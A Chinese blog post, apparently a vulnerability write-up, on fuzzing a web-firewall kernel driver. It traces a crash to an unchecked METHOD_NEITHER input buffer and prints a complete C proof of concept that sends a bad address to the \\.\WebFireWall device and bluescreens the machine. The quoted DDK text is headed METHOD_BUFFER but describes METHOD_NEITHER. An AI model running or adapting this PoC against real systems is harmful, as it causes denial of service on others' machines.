今天在微博上看到有位前辈推荐了一个所谓驱动级别的WEB安全检测系统,疑心其是不是在内核来实现WAF的功能,于是就下载下来看了看。发现这个系统只有一个驱动模块,拿IDA分析了一下感觉其它只是一个NDIS过滤驱动——实现的一般的防火墙功能。并不是像我想得那样把针对XSS,SQL Injection这类攻击的防御放在驱动层来实现。想到自己工具箱里有驱动漏洞挖掘的神器ioctl_fuzzer,反正闲着也是闲着,就抄起家伙对其一通猛扫,结果虚拟机就BSOD了
随后重新启动虚拟机,并挂上Windbg,再次狂扫一通之后Windbg就捕获到了一个内存访问异常。结合Windbg提供的异常信息,很容易分析清楚这个鸡肋0Day的成因——
这个驱动模块和ring 3层应用程序通信时,交换数据的缓冲方式是非常不靠谱的METHOD_NEITHER,DDK中对这种缓冲方式的描述如下:
"
METHOD_BUFFER
The input buffer's address is supplied byParameters.DeviceIoControl.Type3InputBufferin the driver's IO_STACK_LOCATION structure, and the output buffer's address is specified byIrp->UserBuffer.
"
结合WRK来看,如果使用这种极不靠谱的缓冲方式,IopXxxControlFile在构造IRP时也是非常不负责任的,你看——
case METHOD_NEITHER:
//
// For this case, do nothing. Everything is up to the driver.
// Simply give the driver a copy of the caller's parameters and
// let the driver do everything itself.
//
irp->Flags = 0;
irp->UserBuffer = OutputBuffer;
irpSp->Parameters.DeviceIoControl.Type3InputBuffer = InputBuffer;
注释里说的清清楚楚"Everything is up to the driver"。好吧,如果写Driver的那个程序员也很不负责任,不对这个InputBuffer做有效的检验,那攻击者就有福了
.text:F8643BED mov eax, [ebp+Irp]
.text:F8643BF0 mov eax, [eax+60h] ;EAX points to the IO_STACK_LOCATION
.text:F8643BF3 mov edx, [eax+10h] ;EDX equals the irpSp->Parameters.DeviceIoControl.Type3InputBuffer
随后有多处从EDX所指向内存读取数据的操作"movzx eax, word ptr [edx]",但都无一例外的没有多内存地址的有效性做检验(最基本的cmp或者test都没有,更不用说ProbeForRead了)。所以如果传入一个很猥琐的地址,BSOD就是必须得了。以下是一个可造成本地拒绝服务的POC
#include <windows.h>
#include <stdio.h>
#define DEVICE_NAME " \\\\.\\WebFireWall "
#define DEVICE_IOCONTROL_CODE 0x0012c84f
#define MALICIOUS_ADDRESS 0x0c0c0c0c
int main()
{
HANDLE hDev=INVALID_HANDLE_VALUE;
int nLen=0;
BOOL bRet=FALSE;
DWORD dwBytCnt=0;
hDev=CreateFile(DEVICE_NAME,
GENERIC_ALL,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE==hDev){
printf("[*]CreateFile Error Code:%d\r\n",GetLastError());
goto _EXIT;
}
bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE,
(LPVOID)MALICIOUS_ADDRESS ,
0x36,
(LPVOID)MALICIOUS_ADDRESS,
0x60,
&dwBytCnt,NULL);
if (false==bRet){
printf("[*]DeviceIoControl Error Code:%d\r\n",GetLastError());
}
else{
printf("[*]Success!\r\n");
}
_EXIT:
if (INVALID_HANDLE_VALUE!=hDev){
CloseHandle(hDev);
}
getchar();
return 0;
}
作者:K_K
查看更多关于某网站安全检测系统的一个鸡肋0Day - 网站安全的详细内容...